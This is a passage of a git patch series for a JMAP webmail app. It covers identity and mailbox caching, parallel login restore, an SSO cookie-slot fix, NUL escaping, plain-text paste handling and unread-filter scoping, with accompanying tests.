accountsRef.current; for (const id of remoteIdentityCache.keys()) { - if (!accounts.some((a) => a.id === id)) remoteIdentityCache.delete(id); + if (!current.some((a) => a.id === id)) remoteIdentityCache.delete(id); } - let cancelled = false; + const wanted = current.filter((a) => a.isConnected && a.id !== activeAccountId); + const wantedIds = new Set(wanted.map((a) => a.id)); + const keepWanted = (record: Record) => + Object.fromEntries(Object.entries(record).filter(([id]) => wantedIds.has(id))); + // What is already known shows at once; only the logins not yet read by + // this mount - or whose client was replaced - are fetched. + setRemoteIdentities((prev) => ({ + ...keepWanted(prev), + ...Object.fromEntries(wanted.flatMap((a) => { + const cached = remoteIdentityCache.get(a.id); + return cached ? [[a.id, cached]] : []; + })), + })); const getClientForAccount = useAuthStore.getState().getClientForAccount; - (async () => { - const next: Record = {}; - await Promise.all( - accounts - .filter((a) => a.isConnected && a.id !== activeAccountId) - .map(async (account) => { - const client = getClientForAccount(account.id); - if (!client) return; - try { - const list = await client.getIdentities(); - remoteIdentityCache.set(account.id, list); - if (!cancelled) next[account.id] = list; - } catch { - // Skip accounts that fail to load identities - one bad - // account shouldn't blank the whole dropdown. - remoteIdentityCache.delete(account.id); - } - }), - ); - if (!cancelled) setRemoteIdentities(next); - })(); - return () => { cancelled = true; }; - }, [enabled, accounts, activeAccountId]); + for (const account of wanted) { + const client = getClientForAccount(account.id); + if (!client || fetchedThisMount.current.get(account.id) === client) continue; + fetchedThisMount.current.set(account.id, client); + client.getIdentities() + .then((list) => { + remoteIdentityCache.set(account.id, list); + if (mounted.current) setRemoteIdentities((prev) => ({ ...prev, [account.id]: list })); + }) + .catch(() => { + // Skip accounts that fail to load identities - one bad account + // shouldn't blank the whole dropdown. Try again on the next run. + remoteIdentityCache.delete(account.id); + fetchedThisMount.current.delete(account.id); + }); + } + }, [enabled, connectedSignature, activeAccountId]); const groups = useMemo(() => { if (!enabled) return []; diff --git a/hooks/use-pro-multi-account-mailboxes.ts b/hooks/use-pro-multi-account-mailboxes.ts index ea44916f6..c3ffd734a 100644 --- a/hooks/use-pro-multi-account-mailboxes.ts +++ b/hooks/use-pro-multi-account-mailboxes.ts @@ -1,11 +1,12 @@ "use client"; -import { useEffect } from "react"; +import { useEffect, useRef } from "react"; import { useAccountStore } from "@/stores/account-store"; import { useAuthStore } from "@/stores/auth-store"; -import { useEmailStore } from "@/stores/email-store"; +import { invalidateUnifiedMailboxes, loadAccountMailboxes } from "@/stores/email-store"; import { useSettingsStore } from "@/stores/settings-store"; import { useIsEmbedded } from "@/hooks/use-is-embedded"; +import type { IJMAPClient } from "@/lib/jmap/client-interface"; /** * Keeps `useEmailStore.accountMailboxes` populated with one entry per @@ -13,27 +14,46 @@ import { useIsEmbedded } from "@/hooks/use-is-embedded"; * sidebar reads this cache to render a Thunderbird-style per-account folder * tree (see [[project_pro_mode]]). Outside Pro the cache stays empty. * - * Refetches whenever the set of connected accounts changes, so adding or - * removing an account in another tab is reflected without a reload. + * Each login is loaded once per client, not once per connection: while a + * browser restores its logins they connect one after another, and reloading + * every connected account on each connection cost 1 + 2 + … + N folder lists + * - 55 of them with ten logins. Pushes keep the lists current from there (see + * invalidateUnifiedMailboxes); an account switch reloads them all once, as a + * user moving between mailboxes expects fresh counters. Adding or removing an + * account in another tab is still reflected without a reload. */ export function useProMultiAccountMailboxes(): void { const isEmbedded = useIsEmbedded(); const proInterface = useSettingsStore((s) => s.proInterface); - const accounts = useAccountStore((s) => s.accounts); + // The ids of the connected logins, as one string: `accounts` itself changes + // for display-name and login-time updates that call for no fetch at all. + const connectedSignature = useAccountStore((s) => + s.accounts.filter((a) => a.isConnected).map((a) => a.id).sort().join("\n"), + ); + const activeAccountId = useAccountStore((s) => s.activeAccountId); + const loaded = useRef(new Map()); + const lastActive = useRef(null); useEffect(() => { if (!proInterface && !isEmbedded) return; - - const connected = accounts.filter((a) => a.isConnected); + const connected = connectedSignature ? connectedSignature.split("\n") : []; if (connected.length === 0) return; - const fetchAccountMailboxes = useEmailStore.getState().fetchAccountMailboxes; - const getClientForAccount = useAuthStore.getState().getClientForAccount; - - for (const account of connected) { - const client = getClientForAccount(account.id); - if (!client) continue; - void fetchAccountMailboxes(client, account.id); + if (lastActive.current !== null && lastActive.current !== activeAccountId) { + invalidateUnifiedMailboxes(); + loaded.current.clear(); } - }, [proInterface, isEmbedded, accounts]); + lastActive.current = activeAccountId; + + const getClientForAccount = useAuthStore.getState().getClientForAccount; + for (const id of [...loaded.current.keys()]) { + if (!connected.includes(id)) loaded.current.delete(id); + } + for (const id of connected) { + const client = getClientForAccount(id); + if (!client || loaded.current.get(id) === client) continue; + loaded.current.set(id, client); + void loadAccountMailboxes(client, id); + } + }, [proInterface, isEmbedded, connectedSignature, activeAccountId]); } diff --git a/stores/email-store.ts b/stores/email-store.ts index 5cf3f00fe..b959426cd 100644 --- a/stores/email-store.ts +++ b/stores/email-store.ts @@ -1055,6 +1055,23 @@ async function unifiedMailboxesFor( return { mailboxes: await entry.promise, fresh: true }; } +/** + * Puts one login's folder list into `accountMailboxes` through the same cache + * the unified scope uses, so the two never fetch the same list twice and a + * list already there is not fetched again until that login reports a change. + */ +export async function loadAccountMailboxes(client: IJMAPClient, accountId: string): Promise { + try { + const { mailboxes, fresh } = await unifiedMailboxesFor(client, false); + if (!fresh && useEmailStore.getState().accountMailboxes[accountId]) return; + useEmailStore.setState((state) => ({ + accountMailboxes: { ...state.accountMailboxes, [accountId]: mailboxes.slice() }, + })); + } catch (error) { + console.error(`Failed to fetch mailboxes for account ${accountId}:`, error); + } +} + /** * Forgets the folder lists cached for the unified scope: one login's, when it * reports a change, or every login's when called without an argument. From 3ec9cd720177fee52e0b64da5b0cdfe8e50e704b Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Wed, 30 Sep 2026 12:32:13 +0200 Subject: [PATCH 149/358] perf(auth): restore the other logins a few at a time After the login on screen, the rest were restored one after the other, so the last of them - and with it a complete unified inbox - waited on every other login's round trips: with ten logins it arrived about five seconds after the first. Restore them four at a time. Each restore already handles its own failures, so a slow or broken login holds up only its own slot. --- stores/auth-store.ts | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/stores/auth-store.ts b/stores/auth-store.ts index f2aa30f9a..000d4cbbd 100644 --- a/stores/auth-store.ts +++ b/stores/auth-store.ts @@ -45,6 +45,9 @@ import { } from '@/lib/auth/lite-tokens'; import { clearLiteOAuthFlow, readLiteOAuthFlow } from '@/lib/auth/lite-oauth'; +/** Logins restored at once after the one on screen: enough to overlap round trips, few enough not to crowd the server. */ +const RESTORE_CONCURRENCY = 4; + interface AuthState { isAuthenticated: boolean; isLoading: boolean; @@ -2486,10 +2489,21 @@ export const useAuthStore = create()( const otherAccounts = accounts.filter((account) => account.id !== targetId); if (targetEntry) await restoreAccount(targetEntry); + // A few at a time rather than one after the other: with many logins + // the serial walk left the last of them - and with it a complete + // unified inbox - waiting on every other login's round trips. Each + // restore handles its own failures, so one slow or broken login + // holds up only its own slot. const restoreRemaining = async () => { - for (const account of otherAccounts) { - await restoreAccount(account); - } + const queue = [...otherAccounts]; + const worker = async () => { + for (let next = queue.shift(); next; next = queue.shift()) { + await restoreAccount(next); + } + }; + await Promise.allSettled( + Array.from({ length: Math.min(RESTORE_CONCURRENCY, queue.length) }, worker), + ); }; if (clients.has(targetId)) { From 4db88255e87b24c6356cc01a896f62d0cbf7fa13 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Wed, 30 Sep 2026 19:31:03 +0200 Subject: [PATCH 150/358] fix: stop a sixth sso account from overwriting the first account's sign-in `/api/auth/sso/complete` only accepted cookie slots 0-4 and quietly used slot 0 for anything higher. Since the account limit rose to `MAX_ACCOUNT_SLOTS` (50) on HTTP/2, adding a sixth account through server-side SSO wrote its refresh token over the first account's cookie, while the new account was registered on slot 5 with no cookie behind it. The route and the OAuth callback's pending-slot check now use the same bound as every other auth route. --- app/api/auth/sso/complete/route.ts | 7 +++++-- lib/__tests__/sso-complete-route.test.ts | 20 ++++++++++++++++++-- stores/auth-store.ts | 2 +- 3 files changed, 24 insertions(+), 5 deletions(-) diff --git a/app/api/auth/sso/complete/route.ts b/app/api/auth/sso/complete/route.ts index 85cc6930d..de4a8f8de 100644 --- a/app/api/auth/sso/complete/route.ts +++ b/app/api/auth/sso/complete/route.ts @@ -13,6 +13,7 @@ import { refreshTokenCookieName, refreshTokenServerCookieName } from '@/lib/oaut import { getCookieOptions } from '@/lib/oauth/cookie-config'; import { storeIdToken } from '@/lib/oauth/end-session'; import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; +import { MAX_ACCOUNT_SLOTS } from '@/lib/account-utils'; const SSO_PENDING_COOKIE = 'sso_pending'; const SSO_PENDING_MAX_AGE_MS = 5 * 60 * 1000; // 5 minutes @@ -48,8 +49,10 @@ export async function POST(request: NextRequest) { // Per-account refresh-token cookie slot. Without this the route hardcoded // slot 0, so the "+ Add Account" flow overwrote the first account's // refresh-token cookie. Default to 0 for back-compat with any caller that - // omits slot. Mirrors the validation in /api/auth/token POST. - const slot = typeof bodySlot === 'number' && bodySlot >= 0 && bodySlot <= 4 ? bodySlot : 0; + // omits slot. Mirrors the validation in /api/auth/token POST: slots run + // up to MAX_ACCOUNT_SLOTS, so a sixth account must not land on slot 0. + const slot = typeof bodySlot === 'number' && Number.isInteger(bodySlot) + && bodySlot >= 0 && bodySlot < MAX_ACCOUNT_SLOTS ? bodySlot : 0; // Read and decrypt the pending SSO cookie const pendingCookie = cookieStore.get(SSO_PENDING_COOKIE)?.value; diff --git a/lib/__tests__/sso-complete-route.test.ts b/lib/__tests__/sso-complete-route.test.ts index db3d93d9f..c4e163448 100644 --- a/lib/__tests__/sso-complete-route.test.ts +++ b/lib/__tests__/sso-complete-route.test.ts @@ -48,11 +48,11 @@ function pending(extra: Record = {}) { }, 'sso-pending')); } -async function complete() { +async function complete(extra: Record = {}) { const res = await POST(new NextRequest('https://webmail.example/api/auth/sso/complete', { method: 'POST', headers: { 'content-type': 'application/json', 'sec-fetch-site': 'same-origin' }, - body: JSON.stringify({ code: 'code-1', state: 'state-1' }), + body: JSON.stringify({ code: 'code-1', state: 'state-1', ...extra }), })); return { status: res.status, body: await res.json() }; } @@ -81,6 +81,22 @@ describe('/api/auth/sso/complete', () => { expect(exchangeCodeForTokens).toHaveBeenCalledOnce(); expect(jar.get('jmap_rt')).toBe('rt'); }); + + it('writes a sixth account to its own slot, not over the first account', async () => { + jar.set('jmap_rt', 'first-account-rt'); + pending(); + const res = await complete({ slot: 5 }); + expect(res.status).toBe(200); + expect(jar.get('jmap_rt_5')).toBe('rt'); + expect(jar.get('jmap_rt')).toBe('first-account-rt'); + }); + + it('falls back to slot 0 for a slot outside the account range', async () => { + pending(); + await complete({ slot: 50 }); + expect(jar.get('jmap_rt')).toBe('rt'); + expect(jar.has('jmap_rt_50')).toBe(false); + }); }); describe('/api/auth/sso/complete for the mobile app handoff', () => { diff --git a/stores/auth-store.ts b/stores/auth-store.ts index f2aa30f9a..87391156a 100644 --- a/stores/auth-store.ts +++ b/stores/auth-store.ts @@ -1539,7 +1539,7 @@ export const useAuthStore = create()( ? sessionStorage.getItem('oauth_cookie_slot') : null; const pendingSlot = rawSlot !== null ? parseInt(rawSlot, 10) : NaN; - const slot = !isNaN(pendingSlot) && pendingSlot >= 0 && pendingSlot <= 4 + const slot = !isNaN(pendingSlot) && pendingSlot >= 0 && pendingSlot < MAX_ACCOUNT_SLOTS ? pendingSlot : accountStore.getNextCookieSlot(); From 7b61e55529f258cb12fc6deeb4c3d185d686a93e Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Wed, 30 Sep 2026 19:34:37 +0200 Subject: [PATCH 151/358] chore: write nul separators as \0 so git diffs these files as text Three files carried a literal NUL byte inside a string: the admin check's cache key in `app/api/admin/auth/route.ts`, the global search hit key in `lib/global-search/types.ts` and two TNEF fixtures in `lib/__tests__/tnef.test.ts`. Git treats any file containing a NUL as binary, so it showed no diffs for them, never normalised their line endings, and reported every pull request that touched the admin route as a conflict even when a text merge was clean. The escape produces the same string at runtime. The admin route was stored with CRLF while git saw it as binary; it is now stored with LF like the rest of the tree, so its diff covers the whole file (the only content change is on line 70). --- app/api/admin/auth/route.ts | Bin 11846 -> 11571 bytes lib/__tests__/tnef.test.ts | Bin 5135 -> 5137 bytes lib/global-search/types.ts | Bin 5416 -> 5418 bytes 3 files changed, 0 insertions(+), 0 deletions(-) diff --git a/app/api/admin/auth/route.ts b/app/api/admin/auth/route.ts index f604e56e5f1c2d1817838ccf400785ec1b1b52e5..baaf584b8fdbe8ea2c248400ff2abc65c251f5c4 100644 GIT binary patch delta 1712 zcmah}YiL_#7^asr%}LtymR@rGay`k(X_Izc>lW?OZoQ;UW9iBiDbBOx)Sfk$E=et; zOMeKmX&qW0LGXtR_D^syhd+eD<{v>E^YTN4vB{7Pe<&#anPV`&?<7maxq0Al_`dh{ zywCf*=gZ|wFTMNB?mqAC(e2$^Z$YWshx2s<_`Z(E{klm+>z_rbKC9ulkRagC`U#9Q z%;EKh7_K$M8aN`r+?asU7{jH;_t=A1zCO-Fv(Ixee844emz%?o zK890zAI|F+spX!26k&rE^M*J+G|b|TVJ|E#EM}r5f!&sQ{L~VM*gA{N))8E2Jpzr9 zH!g=gTgkkfnvn{trB@<|7{f>#Cur0~;|P8+N+yaYFBdoRS)vriQyC>2Vd##v`S51j z6!ja_nQDFh-u40uU{6LauI5tv2|qo##EW>jeT2Eu<^mCX)NaP*P60o+FIg(?l^QEj zx*#(S7z;SkF^DrAVQu*w!51Bq&~`>K)4ANO-YF}@@060s+(xz-O9d#?mpfOUnsU4= zhMlfi{LnQFy(z|5%2&}YJb#$Nt=z84QcBJj_S3xErXW5xiMooVB;vNohKHtuIM^K% z9^D4Yk+erD75b?7j%TFxMY%ALTPp(;aHl)*RFI23L2UQTR{Q?0rymb{#xT~q;8*kh zdm>C)NvW7zC4M=d&*fR6&wF#We>zvGW%5#&VXlufGDYJ=-=5kG2gLv+r+_!aJxywS z30Flgl4hPx`>c5uKbm83S;in)d^lqn#Z`+9w=6j%tf%y90Gk~lSoa-*)n=!*2_)>z z)Gp#vn_#H=FsEy-08M+_;>4)kLF>A3(r&0U&fy(<5WjgHxM8=cnB0z0hZ;^hVEl$c zWKk;0B&}qWB1x{w$u*Q5KC^06$yY4{bmwxLvMP`(jst2z7hJ?olM6{Mg8g%ZZZc9~6SDd4rwfwJ1X@%uwJ&4+pNR)Ld@B^+voNz5vW4?9?b~Q%Y zlqk@R^%O-NmkPyr?o}o0rzH`!ISjl=wkjz&{NW~yi!K`X_;9!StvKgipiYMw=hcxe zc?Q&<)@jcau6yQT_0HqCcf362i{7Eym>I1tz94OI$1;qZZxWyR*xujwEn=Pz(U#pf z$G?cb_@Q|u6bZpM0c&~j>9}x#?^Z8$ zf)}=cr79QN_Y(@e9dObn9k?E_;n#o#&4Q1DB!OPU1Q*i6P+16+H9CR^e8{R|EhGIe v+WOEQTzZVQuY&GJo6rNDXs^-qgl)JhdMS*k%?6>r_5VhdVfC06*qHtXtnTI} delta 2167 zcmah~T})eL7`8z9DLv3ae<+mpYfFF5p-`N_5M&C= z@9*>e^vWyOj%^HCxDSS+0I$6XaO;ePqmt!mz)edp;1`xS;BS@*z@e&V0QD-Rp0jbb zlpt{QPSrSE@zn?Lp*jutS#{dV*$BKf)Xc*9Xbs+8sF?x0S2GPbXnhuN#rgu^r`Cum z{k?S(&avA4fQ8z0E!s$dKrO^ZZ`WcJ*1AkJc&10{Bsg8IO9I}hn}t{i(Ti(joui}m z6AnC<$h@qGg#x?WsP{FpOU_n8{mb=BpxM!YAuTja0bXMGM?)90@3&#dk`2SZV#Cz_ zVmFhGG5EdQILD;68}|m#syt5;pw5ODDkM?@fL15^El3A;`@r zz11xGFc8zZtc~TDWo5)n*6qNcM;yrOX@{qhtS!e;FDl|^S<)BP{4j}6P8^OWIojwP zOc-w^9!#MKOH`9IO;(jTN$XXYc%U4f=;z)jecy>O|KM~n4^RPQddK-BT=ul|HJG*_ zg?tP4(#4kN0Do#Z)=^YsC^pUC5d0>IeMDmEL2Rsz@et z@DOHW=C~+{d8w!k8&P9Qg!-M~DoA&qJIR;DO1lat)%@BpnLc!IwpY`Ova%r0uO*<% zHr&sH$FJS#UHVGAsl?dgXv*WQL3@lE#ghT?2dKH}>4wW1?{ozbXUdkcvgMi1g5*HnrOb`Tnj$X`}XRL}82w(m-zro_bjU4IHbV1uy-( z&0pCKLN^Z%vjKsYx}SmxM|w&y8a^DrZ+vmqaXUU_e1AK#f3_Xtyxtx&GCdK+G6)@= zfLs1?`d&wm@vs>SQ`J{Tf9%MZy}=9*`*Gk;`vXjV`hHn=r(iciVA*hVsuQO@6AaVy zok94O4TR}T(q7qYcRP_$cOV!vG+Doz(=efkCks+O!87Wz0Wnfe(6o?BkvUP9NI_nf zb&^|@a!VZjG7$4u*kW(JuvOGmiM1$o262^Tg195H0Rnh6h<*KMaB8p|etCRwAQ-7R zRnc^^PELuMwyGBMP~1_1tp;<(QH|i9z%qPAgv#`)Lwj8n!Mq_BWFv@7FhbRk6SUq6 z;kbPq%CL23FlVC&I(d^3aaDxmR!-$1(-~3IXVe8*NkD+-k^#CL=AZ_gjb4Zak=jS~ zT_NeG--a_)Op>t5ZV27R)~)C}`fjAxT>ZE diff --git a/lib/__tests__/tnef.test.ts b/lib/__tests__/tnef.test.ts index 67cfc7f7ab5f5c6ad9e5f8daff612407cd2efa0e..6eef50958ad210e0da88435e4458da8237b739f3 100644 GIT binary patch delta 33 pcmeCzn5eNKfQu={U~?c>0wYU|fx7181Od^>R@|bS?{OP)005&|2{Hfx delta 25 hcmbQJ(XX)~fQyk~@-Ggv%^h4?jEoGMw{XXD003$#2af;% diff --git a/lib/global-search/types.ts b/lib/global-search/types.ts index e1e89701b41768b884bd24ec72e1b078700a7e65..0f2367a357e1382d82717404fa88916db7d4381c 100644 GIT binary patch delta 47 wcmZ3XwMuIPv#5HEfl75oW{F--esW@tV{&qSX Date: Wed, 30 Sep 2026 19:46:05 +0200 Subject: [PATCH 152/358] fix: keep blank lines when pasting plain text into the composer --- .../email/__tests__/plain-text-paste.test.ts | 57 +++++++++++++++++++ components/email/plain-text-paste.ts | 36 ++++++++++++ components/email/rich-text-editor.tsx | 8 +++ 3 files changed, 101 insertions(+) create mode 100644 components/email/__tests__/plain-text-paste.test.ts create mode 100644 components/email/plain-text-paste.ts diff --git a/components/email/__tests__/plain-text-paste.test.ts b/components/email/__tests__/plain-text-paste.test.ts new file mode 100644 index 000000000..5a517ee5b --- /dev/null +++ b/components/email/__tests__/plain-text-paste.test.ts @@ -0,0 +1,57 @@ +import { describe, expect, it } from 'vitest'; +import { Editor } from '@tiptap/core'; +import StarterKit from '@tiptap/starter-kit'; + +import { PlainTextPaste } from '../plain-text-paste'; + +function makeEditor(content = '

') { + return new Editor({ + element: document.createElement('div'), + extensions: [StarterKit, PlainTextPaste], + coreExtensionOptions: { clipboardTextSerializer: { blockSeparator: '\n' } }, + content, + }); +} + +// jsdom has no ClipboardEvent, which pasteText constructs when given none. +function paste(editor: Editor, text: string) { + editor.view.pasteText(text, new Event('paste') as ClipboardEvent); +} + +describe('plain-text paste', () => { + it('keeps blank lines as empty paragraphs', () => { + const editor = makeEditor(); + paste(editor, 'Hi Joost,\n\nThanks for the write-up.\n\n\nPHASE 1'); + expect(editor.getHTML()).toBe( + '

Hi Joost,

Thanks for the write-up.

PHASE 1

', + ); + editor.destroy(); + }); + + it('treats CRLF and CR line endings like LF', () => { + const editor = makeEditor(); + paste(editor, 'one\r\n\r\ntwo\rthree'); + expect(editor.getHTML()).toBe('

one

two

three

'); + editor.destroy(); + }); + + it('pastes a single line inline without splitting the paragraph', () => { + const editor = makeEditor('

Hello world

'); + editor.commands.setTextSelection(7); + paste(editor, 'big '); + expect(editor.getHTML()).toBe('

Hello big world

'); + editor.destroy(); + }); + + it('copies back out as the same text', () => { + const text = 'Hi Joost,\n\nThanks for the write-up.\n\n\nPHASE 1'; + const editor = makeEditor(); + paste(editor, text); + // TipTap's serializer reads the editor selection, not the slice it gets. + editor.commands.selectAll(); + const slice = editor.state.selection.content(); + const copied = editor.view.someProp('clipboardTextSerializer', (f) => f(slice, editor.view)); + expect(copied).toBe(text); + editor.destroy(); + }); +}); diff --git a/components/email/plain-text-paste.ts b/components/email/plain-text-paste.ts new file mode 100644 index 000000000..ded9db99a --- /dev/null +++ b/components/email/plain-text-paste.ts @@ -0,0 +1,36 @@ +import { Extension } from "@tiptap/core"; +import { Fragment, Slice } from "@tiptap/pm/model"; +import { Plugin, PluginKey } from "@tiptap/pm/state"; + +/** + * Pastes plain text as one paragraph per line, blank lines included. + * + * In the composer Enter starts a new paragraph and a blank line is an empty + * paragraph. ProseMirror's default text paste splits on runs of newlines + * instead, so every blank line was dropped and a pasted mail arrived as a + * wall of lines with no gap between its paragraphs. This builds the same + * paragraphs typing the text would. + */ +export const PlainTextPaste = Extension.create({ + name: "plainTextPaste", + + addProseMirrorPlugins() { + const { schema } = this.editor; + return [ + new Plugin({ + key: new PluginKey("plainTextPaste"), + props: { + clipboardTextParser: (text, $context) => { + const marks = $context.marks(); + const paragraphs = text + .split(/\r\n?|\n/) + .map((line) => + schema.nodes.paragraph.create(null, line ? schema.text(line, marks) : null), + ); + return Slice.maxOpen(Fragment.from(paragraphs)); + }, + }, + }), + ]; + }, +}); diff --git a/components/email/rich-text-editor.tsx b/components/email/rich-text-editor.tsx index ea6729ec7..5189cec97 100644 --- a/components/email/rich-text-editor.tsx +++ b/components/email/rich-text-editor.tsx @@ -9,6 +9,7 @@ import Underline from "@tiptap/extension-underline"; import Link from "@tiptap/extension-link"; import TextAlign from "@tiptap/extension-text-align"; import { TextDirection } from "@/components/email/text-direction"; +import { PlainTextPaste } from "@/components/email/plain-text-paste"; import { TextStyle, BackgroundColor } from "@tiptap/extension-text-style"; import Color from "@tiptap/extension-color"; import { FontSize, FONT_SIZES } from "@/components/email/font-size"; @@ -236,7 +237,14 @@ export function RichTextEditor({ // into editable content (#822). SignatureBlock.configure({ editHint: tComposer('signature_edit_hint') }), TextDirection, + PlainTextPaste, ], + // One newline per paragraph when copying out as plain text, the inverse + // of PlainTextPaste: a blank line is an empty paragraph, so the default + // "\n\n" separator doubled every line break. + coreExtensionOptions: { + clipboardTextSerializer: { blockSeparator: "\n" }, + }, content, editorProps: { attributes: { From bfc8e0e52e17f2191b77d231de0b9086dd978d4e Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Wed, 30 Sep 2026 19:49:13 +0200 Subject: [PATCH 153/358] fix: show only that folder's unread mail when its unread count is clicked Clicking a folder's unread count turns on the unread filter and runs the search. Since the search scope stopped following the open folder (#788) its default is "all folders", and since #1082 that fans out over every shared account too, so the Inbox badge listed unread mail from every folder of every account the login reaches. The badge now scopes the search to its folder. That scope moves with the open folder, the way the search itself carries across folders (#553); picking a scope in the dropdown or clearing the filters stops it. Clicking the badge from a tag view or the Scheduled list now also leaves that view, as clicking the folder does. --- components/mail/mail-app.tsx | 13 ++- .../email-store-search-scope.test.ts | 94 +++++++++++++++++++ stores/email-store.ts | 38 ++++++-- 3 files changed, 133 insertions(+), 12 deletions(-) diff --git a/components/mail/mail-app.tsx b/components/mail/mail-app.tsx index 58d9c20a3..82715bf56 100644 --- a/components/mail/mail-app.tsx +++ b/components/mail/mail-app.tsx @@ -379,6 +379,7 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { isAdvancedSearchOpen, setSearchFilters, setSearchMailboxId, + scopeSearchToOpenFolder, clearSearchFilters, toggleAdvancedSearch, advancedSearch, @@ -2714,10 +2715,13 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { }; const handleUnreadFilterClick = async (mailboxId: string) => { - const isTogglingOff = selectedMailbox === mailboxId && searchFilters.isUnread === true; + const isTogglingOff = selectedMailbox === mailboxId && !selectedKeyword && searchFilters.isUnread === true; - // Select the mailbox if not already selected - if (selectedMailbox !== mailboxId) { + // Open the mailbox unless it is already the one listed. A tag view keeps + // selectedMailbox, so it counts as another view. + if (selectedMailbox !== mailboxId || selectedKeyword) { + if (isUnifiedView) exitUnifiedView(); + setScheduledView(false); selectMailbox(mailboxId); selectEmail(null); } @@ -2740,8 +2744,9 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { await fetchEmails(client, mailboxId); } } else { - // Enable unread filter + // Enable unread filter, in this folder only clearSearchFilters(); + scopeSearchToOpenFolder(); setSearchFilters({ isUnread: true }); if (client) { await advancedSearch(client); diff --git a/stores/__tests__/email-store-search-scope.test.ts b/stores/__tests__/email-store-search-scope.test.ts index 4ae3c56b8..2d114d18f 100644 --- a/stores/__tests__/email-store-search-scope.test.ts +++ b/stores/__tests__/email-store-search-scope.test.ts @@ -152,3 +152,97 @@ describe('search folder scope (#788)', () => { expect(useEmailStore.getState().searchMailboxId).toBe(''); }); }); + +describe('unread badge scope', () => { + let client: IJMAPClient; + + beforeEach(() => { + client = makeClient(); + useAuthStore.setState({ + activeAccountId: 'account-a', + getClientForAccount: (id: string) => (id === 'account-a' ? client : undefined) as never, + } as never); + useSettingsStore.setState({ emailsPerPage: 50 } as never); + useEmailStore.setState({ + isUnifiedView: false, + unifiedRole: null, + crossView: null, + viewingAccountId: null, + selectedKeyword: null, + selectedMailbox: 'sent', + searchMailboxId: '', + searchScopeFollowsFolder: false, + searchQuery: '', + searchFilters: { ...DEFAULT_SEARCH_FILTERS }, + searchAbortController: null, + emails: [], + mailboxes: [ + makeMailbox({ id: 'inbox', role: 'inbox' }), + makeMailbox({ id: 'sent', name: 'Sent Items', role: 'sent' }), + makeMailbox({ id: 'owner-x:x-inbox', originalId: 'x-inbox', name: 'Shared Inbox', role: 'inbox', isShared: true, accountId: 'owner-x' }), + ], + accountMailboxes: {}, + }); + }); + + // What mail-app's handleUnreadFilterClick does with the store. + async function clickUnreadBadge(mailboxId: string) { + const store = useEmailStore.getState(); + store.selectMailbox(mailboxId); + store.clearSearchFilters(); + store.scopeSearchToOpenFolder(); + store.setSearchFilters({ isUnread: true }); + await useEmailStore.getState().advancedSearch(client); + } + + const searchCalls = () => (client.advancedSearchEmails as ReturnType).mock.calls; + + it('lists the unread mail of that folder, not of every folder and account', async () => { + await clickUnreadBadge('inbox'); + + expect(searchCalls()).toHaveLength(1); + const [filter, accountId] = searchCalls()[0]; + expect(filter).toEqual({ + operator: 'AND', + conditions: [{ notKeyword: '$seen' }, { inMailbox: 'inbox' }], + }); + expect(accountId).toBeUndefined(); + }); + + it('lists a shared folder in its owner account', async () => { + await clickUnreadBadge('owner-x:x-inbox'); + + expect(searchCalls()).toHaveLength(1); + const [filter, accountId] = searchCalls()[0]; + expect(JSON.stringify(filter)).toContain('"inMailbox":"x-inbox"'); + expect(accountId).toBe('owner-x'); + }); + + it('moves to the next folder the user opens instead of listing the old one there', async () => { + await clickUnreadBadge('inbox'); + useEmailStore.getState().selectMailbox('sent'); + + expect(useEmailStore.getState().searchMailboxId).toBe('sent'); + + await useEmailStore.getState().advancedSearch(client); + const [filter] = searchCalls()[1]; + expect(JSON.stringify(filter)).toContain('"inMailbox":"sent"'); + expect(JSON.stringify(filter)).not.toContain('"inMailbox":"inbox"'); + }); + + it('stops following once the user picks a scope', async () => { + await clickUnreadBadge('inbox'); + useEmailStore.getState().setSearchMailboxId('owner-x:x-inbox'); + useEmailStore.getState().selectMailbox('sent'); + + expect(useEmailStore.getState().searchMailboxId).toBe('owner-x:x-inbox'); + }); + + it('stops following once the filters are cleared', async () => { + await clickUnreadBadge('inbox'); + useEmailStore.getState().clearSearchFilters(); + useEmailStore.getState().selectMailbox('sent'); + + expect(useEmailStore.getState().searchMailboxId).toBe(''); + }); +}); diff --git a/stores/email-store.ts b/stores/email-store.ts index 9541cbebd..a59e7c2be 100644 --- a/stores/email-store.ts +++ b/stores/email-store.ts @@ -136,6 +136,10 @@ interface EmailStore { // folder does not silently narrow the search to it, and so an explicit // choice survives navigating the mail list (#788). searchMailboxId: string; + // Set when a folder's unread count scoped the search to that folder: the + // scope then moves with the open folder, the way the search itself does + // (#553). A scope picked in the dropdown or a filter reset clears it. + searchScopeFollowsFolder: boolean; isAdvancedSearchOpen: boolean; searchAbortController: AbortController | null; /** Plugin-contributed search results (CRM hits, Slack messages, etc.) populated by emailHooks.onProvideSearchResults. */ @@ -281,6 +285,7 @@ interface EmailStore { advancedSearch: (client: IJMAPClient) => Promise; setSearchFilters: (filters: Partial) => void; setSearchMailboxId: (mailboxId: string) => void; + scopeSearchToOpenFolder: () => void; clearSearchFilters: () => void; toggleAdvancedSearch: () => void; toggleStar: (client: IJMAPClient, emailId: string) => Promise; @@ -1535,6 +1540,7 @@ export const useEmailStore = create((set, get) => ({ // Advanced search state searchFilters: { ...DEFAULT_SEARCH_FILTERS }, searchMailboxId: "", + searchScopeFollowsFolder: false, isAdvancedSearchOpen: false, searchAbortController: null, externalSearchResults: [], @@ -1582,11 +1588,14 @@ export const useEmailStore = create((set, get) => ({ // back empty, while the dropdown (which renders no matching option) reads // "All folders". Reset it so the scope matches what is shown. (#1082) // Only the new account's own list names its Spam/Trash: another - // account's mailbox ids can collide with them. - searchMailboxId: defaultSearchScopeFor( - accountId ? state.accountMailboxes[accountId] ?? [] : state.mailboxes, - mailboxId, - ), + // account's mailbox ids can collide with them. A scope that follows + // the open folder moves to the new one. + searchMailboxId: state.searchScopeFollowsFolder + ? mailboxId + : defaultSearchScopeFor( + accountId ? state.accountMailboxes[accountId] ?? [] : state.mailboxes, + mailboxId, + ), 